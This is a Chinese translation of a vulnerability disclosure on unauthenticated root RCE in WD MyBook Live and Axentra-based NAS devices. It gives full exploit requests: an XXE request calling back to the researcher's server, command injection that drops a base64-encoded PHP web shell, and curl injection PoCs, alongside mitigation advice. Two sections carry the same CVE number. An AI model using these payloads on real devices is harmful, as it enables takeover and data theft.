NAS设备已成为许多中小型企业(SMB)的首选存储设备。它们价格低廉,易于操作,如果空间不足,可以添加额外的存储空间。但它足以保护公司数据吗?我带着这个问题阅读了安全研究人员Paulos Yibelo和Daniel Eshetu的研究报告,看能否将这里的漏洞利用在NAS设备中。
我们专注于发现那些只能在没有任何用户交互的情况下可以远程利用的关键漏洞。这意思是说,认证绕过是不够的。我们希望以最高权限远程执行设备上的命令,结果我们在所有设备上都取得了成功。
一、研究结果摘要
在本项目中我们使用了四种流行的NAS设备:
1. WD My Book
2. NetGear Stora
3. SeaGate Home
4. Medion LifeCloud NAS
通过了解其IP地址,我们成功的在设备中获得了root远程命令执行,从而进入了它们所在的网络。
- 测试的所有四个NAS设备都遭受0 day未经身份验证的root远程命令执行(preauth RCE)漏洞。
- 漏洞允许黑客、政府或任何有恶意的人阅读文件、添加/删除用户、添加/修改现有数据,或在所有设备上执行具有最高权限的命令。
- 我们相信有许多其他NAS设备遭受类似的漏洞,因为NAS设备似乎缺少预期的模式。
- 在本文发布时,这些漏洞(称为CVE-2018-18472和CVE-2018-18471)仍未修补。
- 在线有近200万受影响的设备
二、CVE-2018-18472—Axentra Hipserv NAS固件中的XXE和未经认证的远程命令执行。
Axentra Hipserv是一款运行在多个设备上的NAS操作系统,可为不同设备提供基于云的登录和文件存储及管理功能。它被不同供应商用于多种设备,具有共享固件的受影响设备是:
- Netgear Stora
- Seagate GoFlex Home
- Medion LifeCloud
该公司提供的固件具有一个主要使用PHP作为服务器端语言的Web界面。Web界面具有REST API端点和文件管理器,是一个典型Web管理界面。
固件分析
解压缩固件并解码文件后,php文件位于/var/www/html/ 中,webroot位于/var/www/html/ html中。web界面的主处理程序是homebase.php,RESTAPIController.php是其余API的主处理程序。所有的php文件都使用IONCube加密,IONCube有一个已知的公开解码器,并且鉴于使用的版本是旧版本,解码文件不需要很长时间。
第一部分: XXE
解码文件后,未经身份验证的话无法访问大多数API端点和Web界面。其中一个例外是REST API接口中的一些端点。其中一个端点位于/api/2.0/rest/aggregator/xml,它从POST数据加载xml数据,尽管它使用DOMDocument来加载(解析)不应受到XXE攻击的xml。
固件后端的libxml2是旧版本。这意味着默认情况下未禁用外部实体加载,因而从此端点可以进行开发利用。通过该方式,可以读取文件并执行SSRF攻击,下面给出了一个示例请求:
- POST /api/2.0/rest/aggregator/xml HTTP/1.1
- Host: 192.168.10.21
- User-Agent: GoogleBot/2.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 246
- Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34
- Connection: close
- Upgrade-Insecure-Requests: 1
- <?xml version=”1.0″?>
- <!DOCTYPE requests [
- <!ELEMENT request (#PCDATA)>
- <!ENTITY % dtd SYSTEM “http://192.168.10.20/XXE_CHECK”>
- %dtd;
- ]>
- <requests>
- <request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request>
- </requests>
上述请求导致xml解析器向我们的服务器192.168.56.1发出请求,请求文件XXE_CHECK。虽然LFI有意抓取一些敏感文件,但因为XML无法处理二进制数据,因此无法转储SQLite数据库来获取用户名和密码。
这意味着我们能够在以下设备中读取文件并发出SSRF请求。
- Netgear Stora
- Seagate GoFlex Home
- Medion LifeCloud
第二部分: RCE
下一步是查看Web界面(特别是REST API)如何执行root操作。由于Web服务器以非root用户身份运行且没有sudo权限,因此发现REST API调用名为oe-spd的本地守护程序,该守护程序在绑定到127.0.0.1的端口2000上运行。
守护进程获取XML数据,解析请求并执行操作而不进行任何身份验证,除了确保请求来自127.0.0.1。更重要的是,守护进程跳过垃圾数据,直到找到字符串<?xml version =“1.0”?>,如下面的IDA代码段所示。
- strstr(*input_data, “<?xml version=\”1.0\”?>”);
这样事情就变得更容易了,因为请求使用HTTP协议发送,跳过垃圾数据(根据守护程序)帮了大忙。但是,由于不能直接将URL放在xml文件中,我们让xml解析器向php脚本(或任何真正重定向的脚本)发送请求,将其重定向到http://127.0.0.1:2000/a.php?d=*payload here*。
由于守护进程存在命令执行漏洞,因此很容易构造一个触发请求的请求。此外,由于守护程序以root权限运行,因此可以在设备上执行任何操作。下面给出了有效载荷示例。
这个示例上传一个php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id).
- <?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>
WizCase报告:四种流行NAS设备中发现多个漏洞
三、合而为一
为了无缝链接漏洞,我们需要一个服务器,设备可以与之建立出站连接,以及简单的PHP脚本,该脚本重定向解析器以发送有效载荷并能处理少量多阶段的有效载荷。
四、CVE-2018-18472—WD MyBook Live未经身份验证的远程命令执行
WD MyBook Live和某些型号的WD MyCloud NAS包含一个可远程利用的漏洞,允许任何人以root用户身份在设备上运行命令。该漏洞存在于语言更改中并修改了REST API中的功能,以下PoC演示了此漏洞。
PoC:
- curl –kX PUT -d ‘language=en_US`<linx Command Here>`’ https://<NAS_IP>/api/1.0/rest/language_configuration
示例:
- curl –kX PUT -d ‘language=en_US`id > /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
poc将在webroot中创建一个包含ID命令输出的id.txt文件。可以使用以下PoC删除该文件:
- curl -kX PUT -d ‘language=en_US`rm -rf /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
五、措施
· 如果正在使用上述设备之一且已在WAN上连接,请务必从互联网上删除设备。(确保它们仅在安全网络中本地运行)
· 务必联系受影响的供应商并坚持尽快发布补丁!
· 我们将在补丁可用时更新本文。
· 我们还建议使用VPN来保护计算机和移动设备免受黑客攻击。 ExpressVPN 和NordVPN 都使用AES 256位加密,并将保护所有数据。(这不会保护免受NAS攻击,但它会保护免受其他网络攻击)
六、响应
漏洞报告CVE-2018-18472会影响最早在2010年至2012年间推向市场的My Book Live设备。这些产品自2014年起停产,不再支持设备软件更新服务。在此,我们希望和鼓励这些继续运行旧版产品的用户配置防火墙,以防止远程访问这些设备,并采取措施确保只有本地网络上的受信任设备才能访问该设备。
注:完整报告见https://www.wizcase.com/blog/hack-2018/